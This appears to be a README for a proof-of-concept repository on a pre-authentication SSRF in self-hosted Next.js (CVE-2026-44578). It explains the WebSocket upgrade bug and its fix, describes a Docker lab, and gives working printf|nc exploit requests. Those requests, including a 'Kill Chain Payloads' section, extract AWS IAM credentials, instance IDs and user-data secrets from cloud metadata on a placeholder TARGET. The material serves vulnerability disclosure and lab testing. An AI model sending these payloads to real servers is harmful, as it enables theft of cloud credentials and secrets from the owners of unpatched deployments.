CVE-2026-44578 — Next.js WebSocket Upgrade SSRF

Pre-authentication Server-Side Request Forgery in Next.js self-hosted deployments.
A single crafted HTTP request extracts AWS credentials, secrets, and internal service data from localhost:80.

Field	Value
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Type	SSRF (CWE-918)
Affected	Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (self-hosted only)
Fixed	15.5.16, 16.2.5
Auth Required	None
User Interaction	None

---

Vulnerability

The WebSocket upgrade handler in router-server.ts calls proxyRequest() whenever parsedUrl.protocol is truthy — without checking finished and statusCode routing-completion flags that the HTTP handler had always enforced.

// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

After normalizeRepeatedSlashes collapses http:/// to http:/, the hostname is null and http-proxy connects to localhost:80 with the correct path. Any co-located service (cloud metadata, admin panels, internal APIs) is exposed.

---

Exploit Command

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl cannot send absolute-form URIs. Use raw TCP: nc, ncat, socat, or Python sockets.

---

How It Works

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

---

Lab Reproduction

Prerequisites

• Docker + Docker Compose
• Python 3.10+
• nc (netcat)

Setup

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

This starts 5 containers:

Container	Role	Exposed
nextjs-vuln	Next.js 15.5.15 (vulnerable)	localhost:3000
nextjs-fixed	Next.js 15.5.16 (patched)	localhost:3001
imds-sidecar-vuln	Fake AWS IMDSv1 sharing network with vuln	localhost:80 (from vuln's perspective)
imds-sidecar-fixed	Fake AWS IMDSv1 sharing network with fixed	localhost:80 (from fixed's perspective)
internal-api	Internal service mock	—

The IMDS sidecars use network_mode: "service:nextjs-*" so the fake metadata service is on localhost:80 inside the Next.js container — modeling a real cloud instance.

Run the Exploit

# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Teardown

./teardown.sh

---

Evidence

1. Lab Running

All containers up — vulnerable (15.5.15) on :3000, patched (15.5.16) on :3001, IMDS sidecars sharing network namespaces.

2. SSRF — AWS Metadata Listing

Single request returns the full EC2 metadata directory (ami-id, instance-id, iam/, placement/, etc.)

3. SSRF — IAM Credential Extraction

Full IAM credential set: AccessKeyId, SecretAccessKey, Token, and Expiration.

4. SSRF — User-Data Secrets

EC2 user-data bootstrap script containing DB_PASSWORD and API_KEY.

5. SSRF — Instance Identity

Instance ID extracted via the same SSRF vector.

6. Patched Instance — Blocked

Same payload against Next.js 15.5.16. Connection closed immediately — no data returned.

7. IMDS Logs — Proof of Server-Side Execution

The fake IMDS logs show GET requests arriving from 127.0.0.1 (the Next.js process), proving the SSRF is server-side.

8. Full PoC Suite — Vulnerable (7/7 Confirmed)

All 7 SSRF tests return sensitive data on the vulnerable instance.

9. Full PoC Suite — Patched (0/7 Blocked)

All 7 tests blocked on the patched instance. Fix confirmed.

---

Kill Chain Payloads

# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000